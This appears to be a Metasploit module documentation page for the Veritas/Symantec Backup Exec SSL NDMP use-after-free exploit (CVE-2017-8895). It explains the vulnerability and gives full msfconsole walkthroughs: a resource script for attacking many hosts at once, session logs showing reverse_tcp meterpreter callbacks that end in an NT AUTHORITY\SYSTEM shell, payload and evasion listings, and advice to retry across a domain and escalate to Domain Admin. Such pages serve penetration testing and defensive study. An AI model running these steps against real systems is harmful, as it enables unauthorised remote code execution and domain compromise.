Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free - Metasploit


This page contains detailed information about how to use the exploit/windows/backupexec/ssl_uaf metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Table Of Contents
hide

Module Overview

Name: Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free
Module: exploit/windows/backupexec/ssl_uaf
Source code: modules/exploits/windows/backupexec/ssl_uaf.rb
Disclosure date: 2017-05-10
Last modification time: 2021-02-19 20:35:33 +0000
Supported architecture(s): -
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): 10000
List of CVEs: CVE-2017-8895

This module exploits a use-after-free vulnerability in the handling of SSL NDMP connections in Veritas/Symantec Backup Exec's Remote Agent for Windows. When SSL is re-established on a NDMP connection that previously has had SSL established, the BIO struct for the connection's previous SSL session is reused, even though it has previously been freed. This module supports 3 specific versions of the Backup Exec agent in the 14, 15 and 16 series on 64-bit and 32-bit versions of Windows and has been tested from Vista to Windows 10. The check command can help narrow down what major and minor revision is installed and the precise of version of Windows, but some other information may be required to make a reliable choice of target. NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. On Windows 8+, it has a reliability of around 85%. On other versions of Windows, reliability is around 35% (due to the need to win a race condition across the network in this case; this may drop further depending on network conditions). The agent is normally installed on all hosts in a domain that need to be backed up, so if one service crashes, try again on another :) Successful exploitation will give remote code execution as the user of the Backup Exec Remote Agent for Windows service, almost always NT AUTHORITY\SYSTEM.

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

Using ssl_uaf against a single host

Normally, you can use exploit/windows/backupexec/ssl_uaf this way:

msf > use exploit/windows/backupexec/ssl_uaf
msf exploit(ssl_uaf) > show targets
    ... a list of targets ...
msf exploit(ssl_uaf) > set TARGET target-id
msf exploit(ssl_uaf) > show options
    ... show and set options ...
msf exploit(ssl_uaf) > exploit

Using ssl_uaf against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your ssl_uaf will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/windows/backupexec/ssl_uaf")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options

  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • RPORT: The target port

  • NumTriggerAttempts: Number of attempts to trigger the vulnerability (Windows 8+ only)

Knowledge Base

Vulnerability Summary

The Backup Exec Remote Agent for Windows is vulnerable to a use-after-free in its handling of SSL/TLS-wrapped NDMP connections. If SSL/TLS is established on a NDMP connection, ended, and finally re-established, the agent will re-use previously freed SSL/TLS structures. This allows for remote code execution over an unauthenticated network connection.

Vulnerable Application

Backup Exec consists of a server component as well as remote agents that are installed on each host that should be backed up by the server.

There are remote agents available for a range of data sources, including operating-system level agents for Windows and Linux hosts' local filesystems, application-specific agents for Microsoft Exchange, SharePoint, Active Directory, etc., and agents for virtual machines such as VMware or Hyper-V instances. This exploit targets the Windows OS-level remote agents, which are the most common type in a typical Backup Exec deployment on a Windows-based network. The agents are installed as services running by default as the NT AUTHORITY\SYSTEM user.

A trial version of Backup Exec can be downloaded from Veritas' website; currently the download is available here.

Vulnerability Description

The agent accepts NDMP connections on TCP port 10000. The vendor-specific 0xF383 NDMP packet type allows for NDMP connections to be wrapped in a SSL/TLS session. Sub-type 4 initiates the SSL/TLS handshake; after successfully completing this the client and server continue the NDMP session through the SSL/TLS session.

The agent makes use of OpenSSL to handle these SSL/TLS sessions. When a SSL/TLS session is created, the agent creates necessary OpenSSL structures, including a struct BIO from the connection's associated network socket using BIO_new_socket. Upon the end of the SSL/TLS session, this structure is freed by a call to BIO_free through a call to SSL_free.

However, if a SSL/TLS connection is then re-established on the same NDMP connection, the previously freed BIO is re-used in the new SSL/TLS session even though it is no longer allocated. The BIO is stored during the first connection setup and then retrieved during second connection setup as a member of the CSecuritySSLConnection class, despite the call to SSL_free previously freeing it. This leads to a use-after-free as the BIO contains a pointer to a structure (BIO_METHOD *method) of function pointers that are used to perform operations such as reading and writing from the wrapped BIO object (in this case, the network socket).

By overwriting the previously allocated BIO with controlled data, it is possible to gain remote code execution when OpenSSL attempts to call one of these function pointers.

Verification Steps

  1. Install the Backup Exec server on a host.
  2. Install the Backup Exec Remote Agent for Windows on another host, either manually or through the server's remote agent installation feature. Note that in this contrived test situation you should be sure to let the agent run for a few minutes before continuing so it can finish initial startup work that otherwise interferes with the exploit's heap manipulation.
  3. Start msfconsole.
  4. Select the module and configure it with, at minimum, the address of the host running the remote agent: use exploit/windows/backupexec/ssl_uaf set RHOST [REMOTE AGENT HOST]
  5. Check the service is running and potentially vulnerable with the check command.
  6. Select a target version using set target [TARGET].
  7. Select a payload and its options; for example: set payload windows/x64/meterpreter/reverse_tcp set LHOST [METASPLOIT HOST]
  8. Start the exploit using the exploit command.
  9. Hopefully get a NT AUTHORITY\SYSTEM shell :)

An example session is as follows:

msf > use exploit/windows/backupexec/ssl_uaf
msf exploit(ssl_uaf) > set RHOST win10
RHOST => win10
msf exploit(ssl_uaf) > check

Hostname: WIN10
OS type: Windows NT
OS version: Major Version=10 Minor Version=0 Build Number=14393 ServicePack Major=0 ServicePack Minor=0 SuiteMask=256 ProductType=1 ProcessorType=AMD64
Host ID: XXXX::XXXX:XXXX:XXXX:XXXX
Vendor: VERITAS Software, Corp.
Product: Remote Agent for NT
Revision: 9.2
[*] win10:10000 The target appears to be vulnerable.
msf exploit(ssl_uaf) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64
   1   Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86
   2   Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64
   3   Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86
   4   Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64
   5   Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86
   6   Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64
   7   Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86
   8   Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64
   9   Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86
   10  Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64
   11  Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86


msf exploit(ssl_uaf) > set target 4
target => 4
msf exploit(ssl_uaf) > set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp
msf exploit(ssl_uaf) > set LHOST 10.123.1.1
LHOST => 10.123.1.1
msf exploit(ssl_uaf) > exploit

[*] Started reverse TCP handler on 10.123.1.1:4444
[*] win10:10000 - Connecting sockets...
[*] win10:10000 - CA certificate ID = 8120a0e9
[*] win10:10000 - Getting and handling a certificate signing request...
[*] win10:10000 - Agent certificate ID = 430b56d0
[*] win10:10000 - Testing certificate...
[*] win10:10000 - Spraying TLS extensions...
[*] win10:10000 - Entering SSL mode on main socket...
[*] win10:10000 - Spraying TLS extensions...
[*] win10:10000 - Sending stages 2 to 4...
[*] win10:10000 - Closing TLS spray sockets...
[*] win10:10000 - Re-entering SSL mode on main socket...
[*] win10:10000 - Spraying stage 1...
[*] win10:10000 - Triggering UAF, attempt 1/50...
[*] Sending stage (1189423 bytes) to 10.123.1.2
[*] win10:10000 - Spraying stage 1...
[*] win10:10000 - Triggering UAF, attempt 2/50...
[*] Meterpreter session 1 opened (10.123.1.1:4444 -> 10.123.1.2:49748) at 2017-05-23 21:53:07 +1200

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

Options

Apart from the usual exploit module options such as RHOST, the module has a few exploit-specific options. These should not normally need to be set or changed from their default values in most situations as the exploit will pick suitable values for them depending on the target selected.

NumSpraySockets The number of sockets connected to the remote agent in order to spray stage 1 of the exploit, which should overwrite the freed BIO.

NumTLSSpraySockets The number of sockets connected to the remote agent in order to spray TLS extensions. This is used to massage the low fragmentation heap in order to increase chances of stage 1 successfully overwriting the freed BIO.

NumTriggerAttempts The number of attempts made to trigger the use-after-free for Windows 8+ targets, where it is possible to retry calling the overwritten function pointer multiple times.

Scenarios

The Backup Exec Remote Agent for Windows is installed on each host that has local filesystems that should be backed up. These agents listen on the network for NDMP connections (on port 10000), appearing in Nmap scans with scripts enabled as follows:

Starting Nmap 7.40 ( https://nmap.org ) at 2017-05-23 20:47 NZST
Nmap scan report for (...)
Host is up (0.0035s latency).
Not shown: 994 filtered ports
PORT      STATE SERVICE            VERSION
(...)
10000/tcp open  ndmp               Symantec/Veritas Backup Exec ndmp (NDMPv3)
|_ndmp-version: ERROR: Script execution failed (use -d to debug)

(Note that the ndmp-version script fails to execute due to not sending an NDMP_CONNECT_OPEN request before querying version information with the NDMP_CONFIG_GET_HOST_INFO request. This exploit module's check command will carry this query out successfully.)

While the exploit is not guaranteed to gain RCE (see the module's description), in practise the agent is often widely installed in a Windows domain across a range of hosts (including fileservers and domain controllers). This means usually at least one instance of the agent will give a shell on a server where it's easy enough to further escalate to Domain Administator from SYSTEM.

Go back to menu.

Msfconsole Usage

Here is how the windows/backupexec/ssl_uaf exploit module looks in the msfconsole:

msf6 > use exploit/windows/backupexec/ssl_uaf

[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/backupexec/ssl_uaf) > show info

       Name: Veritas/Symantec Backup Exec SSL NDMP Connection Use-After-Free
     Module: exploit/windows/backupexec/ssl_uaf
   Platform: Windows
       Arch: 
 Privileged: Yes
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2017-05-10

Provided by:
  Matthew Daley

Available targets:
  Id  Name
  --  ----
  0   Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64
  1   Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86
  2   Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64
  3   Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86
  4   Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64
  5   Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86
  6   Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64
  7   Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86
  8   Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64
  9   Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86
  10  Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64
  11  Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86

Check supported:
  Yes

Basic options:
  Name                Current Setting  Required  Description
  ----                ---------------  --------  -----------
  NumSpraySockets                      no        Number of sockets to spray stage 1 with
  NumTLSSpraySockets                   no        Number of sockets to spray TLS extensions with
  NumTriggerAttempts  50               yes       Number of attempts to trigger the vulnerability (Windows 8+ only)
  RHOSTS                               yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT               10000            yes       The target port (TCP)

Payload information:

Description:
  This module exploits a use-after-free vulnerability in the handling 
  of SSL NDMP connections in Veritas/Symantec Backup Exec's Remote 
  Agent for Windows. When SSL is re-established on a NDMP connection 
  that previously has had SSL established, the BIO struct for the 
  connection's previous SSL session is reused, even though it has 
  previously been freed. This module supports 3 specific versions of 
  the Backup Exec agent in the 14, 15 and 16 series on 64-bit and 
  32-bit versions of Windows and has been tested from Vista to Windows 
  10. The check command can help narrow down what major and minor 
  revision is installed and the precise of version of Windows, but 
  some other information may be required to make a reliable choice of 
  target. NX, ASLR and Windows 8+ anti-ROP mitigations are bypassed. 
  On Windows 8+, it has a reliability of around 85%. On other versions 
  of Windows, reliability is around 35% (due to the need to win a race 
  condition across the network in this case; this may drop further 
  depending on network conditions). The agent is normally installed on 
  all hosts in a domain that need to be backed up, so if one service 
  crashes, try again on another :) Successful exploitation will give 
  remote code execution as the user of the Backup Exec Remote Agent 
  for Windows service, almost always NT AUTHORITY\SYSTEM.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2017-8895
  VTS (17-006)
  https://www.veritas.com/content/support/en_US/security/VTS17-006.html

Module Options

This is a complete list of options available in the windows/backupexec/ssl_uaf exploit:

msf6 exploit(windows/backupexec/ssl_uaf) > show options

Module options (exploit/windows/backupexec/ssl_uaf):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   NumSpraySockets                      no        Number of sockets to spray stage 1 with
   NumTLSSpraySockets                   no        Number of sockets to spray TLS extensions with
   NumTriggerAttempts  50               yes       Number of attempts to trigger the vulnerability (Windows 8+ only)
   RHOSTS                               yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT               10000            yes       The target port (TCP)

Payload options (windows/x64/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.204.3    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   8   Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64

Advanced Options

Here is a complete list of advanced options supported by the windows/backupexec/ssl_uaf exploit:

msf6 exploit(windows/backupexec/ssl_uaf) > show advanced

Module advanced options (exploit/windows/backupexec/ssl_uaf):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   CHOST                                    no        The local client address
   CPORT                                    no        The local client port
   ConnectTimeout          10               yes       Maximum number of seconds to establish a TCP connection
   ContextInformationFile                   no        The information file that contains context information
   DisablePayloadHandler   false            no        Disable the handler code for the selected payload
   EnableContextEncoding   false            no        Use transient context when encoding payloads
   Proxies                                  no        A proxy chain of format type:host:port[,type:host:port][...]
   SSL                     false            no        Negotiate SSL/TLS for outgoing connections
   SSLCipher                                no        String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH"
   SSLVerifyMode           PEER             no        SSL verification method (Accepted: CLIENT_ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto             yes       Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (Accepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module
   WfsDelay                2                no        Additional delay in seconds to wait for a session

Payload advanced options (windows/x64/meterpreter/reverse_tcp):

   Name                         Current Setting  Required  Description
   ----                         ---------------  --------  -----------
   AutoLoadStdapi               true             yes       Automatically load the Stdapi extension
   AutoRunScript                                 no        A script to run automatically on session creation.
   AutoSystemInfo               true             yes       Automatically capture system information on initialization.
   AutoUnhookProcess            false            yes       Automatically load the unhook extension and unhook the process
   AutoVerifySessionTimeout     30               no        Timeout period to wait for session validation to occur, in seconds
   EnableStageEncoding          false            no        Encode the second stage payload
   EnableUnicodeEncoding        false            yes       Automatically encode UTF-8 strings as hexadecimal
   HandlerSSLCert                                no        Path to a SSL certificate in unified PEM format, ignored for HTTP transports
   InitialAutoRunScript                          no        An initial script to run on session creation (before AutoRunScript)
   PayloadProcessCommandLine                     no        The displayed command line that will be used by the payload
   PayloadUUIDName                               no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                                no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                               no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking          false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries              0                yes       How many additional successful pingbacks
   PingbackSleep                30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate               false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                            no        Process to spawn and run shellcode in
   ReverseAllowProxy            false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                    no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                       no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                           no        The specific communication channel to use for this listener
   ReverseListenerThreaded      false            yes       Handle every connection in a new thread (experimental)
   SessionCommunicationTimeout  300              no        The number of seconds of no activity before this session should be killed
   SessionExpirationTimeout     604800           no        The number of seconds before this session should be forcibly shut down
   SessionRetryTotal            3600             no        Number of seconds try reconnecting for on network failure
   SessionRetryWait             10               no        Number of seconds to wait between reconnect attempts
   StageEncoder                                  no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                     no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback        true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount             10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait              5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                      false            no        Enable detailed status messages
   WORKSPACE                                     no        Specify the workspace for this module

Exploit Targets

Here is a list of targets (platforms and systems) which the windows/backupexec/ssl_uaf module can exploit:

msf6 exploit(windows/backupexec/ssl_uaf) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x64
   1   Backup Exec 14 (14.1 / revision 9.1), Windows >= 8 x86
   2   Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x64
   3   Backup Exec 14 (14.1 / revision 9.1), Windows <= 7 x86
   4   Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x64
   5   Backup Exec 15 (14.2 / revision 9.2), Windows >= 8 x86
   6   Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x64
   7   Backup Exec 15 (14.2 / revision 9.2), Windows <= 7 x86
   8   Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x64
   9   Backup Exec 16 (16.0 / revision 9.2), Windows >= 8 x86
   10  Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x64
   11  Backup Exec 16 (16.0 / revision 9.2), Windows <= 7 x86

Compatible Payloads

This is a list of possible payloads which can be delivered and executed on the target system using the windows/backupexec/ssl_uaf exploit:

msf6 exploit(windows/backupexec/ssl_uaf) > show payloads

Compatible Payloads
===================

   #   Name                                                Disclosure Date  Rank    Check  Description
   -   ----                                                ---------------  ----    -----  -----------
   0   payload/generic/custom                                               normal  No     Custom Payload
   1   payload/generic/shell_bind_tcp                                       normal  No     Generic Command Shell, Bind TCP Inline
   2   payload/generic/shell_reverse_tcp                                    normal  No     Generic Command Shell, Reverse TCP Inline
   3   payload/windows/x64/exec                                             normal  No     Windows x64 Execute Command
   4   payload/windows/x64/loadlibrary                                      normal  No     Windows x64 LoadLibrary Path
   5   payload/windows/x64/messagebox                                       normal  No     Windows MessageBox x64
   6   payload/windows/x64/meterpreter/bind_ipv6_tcp                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager
   7   payload/windows/x64/meterpreter/bind_ipv6_tcp_uuid                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 IPv6 Bind TCP Stager with UUID Support
   8   payload/windows/x64/meterpreter/bind_named_pipe                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind Named Pipe Stager
   9   payload/windows/x64/meterpreter/bind_tcp                             normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Bind TCP Stager
   10  payload/windows/x64/meterpreter/bind_tcp_rc4                         normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   11  payload/windows/x64/meterpreter/bind_tcp_uuid                        normal  No     Windows Meterpreter (Reflective Injection x64), Bind TCP Stager with UUID Support (Windows x64)
   12  payload/windows/x64/meterpreter/reverse_http                         normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   13  payload/windows/x64/meterpreter/reverse_https                        normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (wininet)
   14  payload/windows/x64/meterpreter/reverse_named_pipe                   normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse Named Pipe (SMB) Stager
   15  payload/windows/x64/meterpreter/reverse_tcp                          normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse TCP Stager
   16  payload/windows/x64/meterpreter/reverse_tcp_rc4                      normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   17  payload/windows/x64/meterpreter/reverse_tcp_uuid                     normal  No     Windows Meterpreter (Reflective Injection x64), Reverse TCP Stager with UUID Support (Windows x64)
   18  payload/windows/x64/meterpreter/reverse_winhttp                      normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTP Stager (winhttp)
   19  payload/windows/x64/meterpreter/reverse_winhttps                     normal  No     Windows Meterpreter (Reflective Injection x64), Windows x64 Reverse HTTPS Stager (winhttp)
   20  payload/windows/x64/meterpreter_bind_named_pipe                      normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline (x64)
   21  payload/windows/x64/meterpreter_bind_tcp                             normal  No     Windows Meterpreter Shell, Bind TCP Inline (x64)
   22  payload/windows/x64/meterpreter_reverse_http                         normal  No     Windows Meterpreter Shell, Reverse HTTP Inline (x64)
   23  payload/windows/x64/meterpreter_reverse_https                        normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline (x64)
   24  payload/windows/x64/meterpreter_reverse_ipv6_tcp                     normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6) (x64)
   25  payload/windows/x64/meterpreter_reverse_tcp                          normal  No     Windows Meterpreter Shell, Reverse TCP Inline x64
   26  payload/windows/x64/peinject/bind_ipv6_tcp                           normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager
   27  payload/windows/x64/peinject/bind_ipv6_tcp_uuid                      normal  No     Windows Inject Reflective PE Files, Windows x64 IPv6 Bind TCP Stager with UUID Support
   28  payload/windows/x64/peinject/bind_named_pipe                         normal  No     Windows Inject Reflective PE Files, Windows x64 Bind Named Pipe Stager
   29  payload/windows/x64/peinject/bind_tcp                                normal  No     Windows Inject Reflective PE Files, Windows x64 Bind TCP Stager
   30  payload/windows/x64/peinject/bind_tcp_rc4                            normal  No     Windows Inject Reflective PE Files, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   31  payload/windows/x64/peinject/bind_tcp_uuid                           normal  No     Windows Inject Reflective PE Files, Bind TCP Stager with UUID Support (Windows x64)
   32  payload/windows/x64/peinject/reverse_named_pipe                      normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse Named Pipe (SMB) Stager
   33  payload/windows/x64/peinject/reverse_tcp                             normal  No     Windows Inject Reflective PE Files, Windows x64 Reverse TCP Stager
   34  payload/windows/x64/peinject/reverse_tcp_rc4                         normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   35  payload/windows/x64/peinject/reverse_tcp_uuid                        normal  No     Windows Inject Reflective PE Files, Reverse TCP Stager with UUID Support (Windows x64)
   36  payload/windows/x64/pingback_reverse_tcp                             normal  No     Windows x64 Pingback, Reverse TCP Inline
   37  payload/windows/x64/powershell_bind_tcp                              normal  No     Windows Interactive Powershell Session, Bind TCP
   38  payload/windows/x64/powershell_reverse_tcp                           normal  No     Windows Interactive Powershell Session, Reverse TCP
   39  payload/windows/x64/shell/bind_ipv6_tcp                              normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager
   40  payload/windows/x64/shell/bind_ipv6_tcp_uuid                         normal  No     Windows x64 Command Shell, Windows x64 IPv6 Bind TCP Stager with UUID Support
   41  payload/windows/x64/shell/bind_named_pipe                            normal  No     Windows x64 Command Shell, Windows x64 Bind Named Pipe Stager
   42  payload/windows/x64/shell/bind_tcp                                   normal  No     Windows x64 Command Shell, Windows x64 Bind TCP Stager
   43  payload/windows/x64/shell/bind_tcp_rc4                               normal  No     Windows x64 Command Shell, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   44  payload/windows/x64/shell/bind_tcp_uuid                              normal  No     Windows x64 Command Shell, Bind TCP Stager with UUID Support (Windows x64)
   45  payload/windows/x64/shell/reverse_tcp                                normal  No     Windows x64 Command Shell, Windows x64 Reverse TCP Stager
   46  payload/windows/x64/shell/reverse_tcp_rc4                            normal  No     Windows x64 Command Shell, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   47  payload/windows/x64/shell/reverse_tcp_uuid                           normal  No     Windows x64 Command Shell, Reverse TCP Stager with UUID Support (Windows x64)
   48  payload/windows/x64/shell_bind_tcp                                   normal  No     Windows x64 Command Shell, Bind TCP Inline
   49  payload/windows/x64/shell_reverse_tcp                                normal  No     Windows x64 Command Shell, Reverse TCP Inline
   50  payload/windows/x64/vncinject/bind_ipv6_tcp                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager
   51  payload/windows/x64/vncinject/bind_ipv6_tcp_uuid                     normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 IPv6 Bind TCP Stager with UUID Support
   52  payload/windows/x64/vncinject/bind_named_pipe                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind Named Pipe Stager
   53  payload/windows/x64/vncinject/bind_tcp                               normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Bind TCP Stager
   54  payload/windows/x64/vncinject/bind_tcp_rc4                           normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   55  payload/windows/x64/vncinject/bind_tcp_uuid                          normal  No     Windows x64 VNC Server (Reflective Injection), Bind TCP Stager with UUID Support (Windows x64)
   56  payload/windows/x64/vncinject/reverse_http                           normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   57  payload/windows/x64/vncinject/reverse_https                          normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (wininet)
   58  payload/windows/x64/vncinject/reverse_tcp                            normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse TCP Stager
   59  payload/windows/x64/vncinject/reverse_tcp_rc4                        normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   60  payload/windows/x64/vncinject/reverse_tcp_uuid                       normal  No     Windows x64 VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support (Windows x64)
   61  payload/windows/x64/vncinject/reverse_winhttp                        normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTP Stager (winhttp)
   62  payload/windows/x64/vncinject/reverse_winhttps                       normal  No     Windows x64 VNC Server (Reflective Injection), Windows x64 Reverse HTTPS Stager (winhttp)

Evasion Options

Here is the full list of possible evasion options supported by the windows/backupexec/ssl_uaf exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 exploit(windows/backupexec/ssl_uaf) > show evasion

Module evasion options:

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   TCP::max_send_size  0                no        Maxiumum tcp segment size.  (0 = disable)
   TCP::send_delay     0                no        Delays inserted before every send.  (0 = disable)

Go back to menu.

Error Messages

This module may fail with the following error messages:

Error Messages

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

Couldn't connect main socket

Here is a relevant code snippet related to the "Couldn't connect main socket" error message:

174:	    )
175:	    tls_spray_socks = connect_additional_sockets(num_tls_spray_socks, 3)
176:	
177:	    s = NDMP::Socket.new(connect)
178:	    unless connect_ndmp(s, 3)
179:	      fail_with(Failure::UnexpectedReply, "Couldn't connect main socket")
180:	    end
181:	
182:	    ca_cert, ca_key = generate_ca_cert_and_key
